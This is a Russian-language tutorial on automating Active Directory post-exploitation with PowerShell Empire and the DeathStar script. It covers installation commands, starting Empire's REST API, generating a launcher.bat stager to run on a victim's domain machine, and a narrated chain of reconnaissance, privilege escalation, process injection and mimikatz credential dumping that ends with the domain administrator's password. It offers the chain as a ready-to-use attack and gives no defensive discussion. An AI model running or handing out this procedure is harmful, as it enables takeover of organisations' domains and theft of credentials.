Современные фреймворки часто предлагают внешние интерфейсы для интеграции с другими инструментами. Последние версии Powershell Empire позволяют использовать RESTful API для взаимодействия со сторонними приложениями.

В данной статье мы поговорим про автоматизацию Powershell Empire при помощи DeathStar.

Установка

Для автоматизации нам потребуется python-скрипт DeathStar и ветка Powershell Empire, которые можно скачать с github
https://github.com/byt3bl33d3r

Устанавливаем Powershell Empire

git clone https://github.com/byt3bl33d3r/Empire.git
cd Empire/setup
./install.sh

В конце работы скрипта мы должны увидеть Setup complete!


./setup_database.py
./cert.sh

Устанавливаем DeathStar

git clone https://github.com/byt3bl33d3r/DeathStar
cd DeathStar
pip3 install -r requirements.txt

Как работает скрипт

Скрипт действует по заложенной схеме, которая детально представлена в блоге автора. Я продублирую её ниже.
Основная идея в том, чтобы автоматизировать пост-эксплуатацию через серию запусков модуле powershell empire из категории situational_awarenes, повышения привилегий при помощи PowerSploit модуля Get-GPPPassword или Mimikatz.
В будущем автор планирует расширение функционала.

Запуск

Запускаем Powershell Empire вместе с RESTful API сервером

python empire --rest --username username --password password

Вывод должен быть таким:


* Starting Empire RESTful API on port: 1337
* RESTful API token: qxzu2bq6d3k8tcj07nbra76sfz4dqveyu9xp4zy3
* Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)

Запускаем DeathStar

./DeathStar.py -u username -p password --debug

Если все было установлено правильно, получаем вывод:

Powering up the Death Star
Created Death Star listener
Polling for agents

В то же время в консоли Empire должно появиться сообщение

И можно видеть активный листнер

Инструменты готовы к работе и все, что нам остается – это запустить Powershell агент на машине, включенной в домен.

Сгенерируем код агента


(Empire: listeners) agents
(Empire: agents) usestager windows/launcher_bat DeathStar
Empire: stager/windows/launcher_bat) generate
Stager output written out to: /tmp/launcher.bat

Выполняем скрипт на стороне жертвы из под обычного доменного пользователя aduser.
Получаем такие сообщения

Консоль Powershell Empire

Консоль DeathStar

В консоли можно наблюдать за ходом процесса.
Из первых строчек видно, что была получена сессия непривилегированного пользователя aduser домена R2SP1.
Запускаются модули


powershell/situational_awareness/network/powerview/get_group_member
powershell/situational_awareness/network/powerview/get_domain_controller
powershell/situational_awareness/network/powerview/user_hunter
powershell/situational_awareness/network/powerview/get_loggedon

И в результате обнаруживается, что на этой машине так же работает администратор домена в другой сессии.

Далее идет серия попыток повышения привилегий и обнаруживается, что непривилегированный пользователь aduser имеет права локального администратора и мы получаем новый powershell агент с повышенными полномочиями.
Модули из категории situational_awareness выполняются теперь и для него.

Помимо прочего ищутся процессы пользователя domainadmin и производится попытка инжекта в них.

Далее DeathStar решает поискать учетные данные при помощи mimikatz/logonpasswords

И обнаруживает пароль администратора домена

Так же мы сразу получаем powershell агента с правами domainadmin

В заключении

Наличие REST API у таких популярных фреймворков как Powershell Empire и Metasploit Framework значительно упрощают задачи автоматизации и расширяют/дополняют возможности существующих инструментов.